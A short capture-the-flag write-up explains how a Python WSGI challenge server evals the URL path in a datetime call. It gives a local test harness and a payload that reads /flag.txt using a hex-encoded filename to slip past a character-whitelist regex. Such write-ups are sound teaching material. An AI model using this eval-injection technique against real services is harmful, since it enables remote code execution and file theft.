CSCAMP CTF 2014 - I Hate Time (Web)

1 minute read

Remote code execution by injecting python code into a Python WSGI server.

Challenge Description

Points

400

Description

Tick Tock
hints: flag in /flag.txt
Possibly my favourite challenge from the CTF. It's a very simple website running
on a Python WSGI Server backend. It has a code injection vulnerability in its
time feature.

Solution

The landing page looks like this:

Interesting regex, might be useful later. When trying to access robots.txt or some random page, we receive the following 404:

Interesting image of the time now. Also, let’s take a look at the source:

<h1>Not Found</h1>
<img src="/images/now"/>

Looking at the source and the output, we can see that http://178.63.58.69:8081/images/now gives you the current time dynamically. It also looks very very suspiciously similar to the output of str(datetime.datetime.now()).

I guessed the following was happening when we pass in our URL:

eval("str(datetime.datetime.%s())" % hack)

where hack is the /image//. Now looking back at the index page, we can guess that the regex there are the acceptable characters for this path.

So I wrote the following script to develop my exploit:


import datetime
import re
import sys

def test_hack(hack):
    good = re.compile("[0-9 a-z A-Z / \" \+ , ( ) . # \[ \] =]+")
    assert good.match(hack), "There are invalid characters in your payload"
    return eval("str(datetime.datetime.%s())" % hack)

def main():
    payload = sys.argv[1]
    print test_hack(payload)

if __name__ == "__main__":
    main()

Testing my exploit locally:

[email protected]$ python testhack.py 'now().ctime()[0]+"["+file("2f666c61672e747874".decode("hex")).read()+"]".upper'
M[cool long ass flag thing lol]

Attacking the remote server through the URL:

Take a closer look at the generated image:

It contains our flag :D

Flag: eVal_is_eVil

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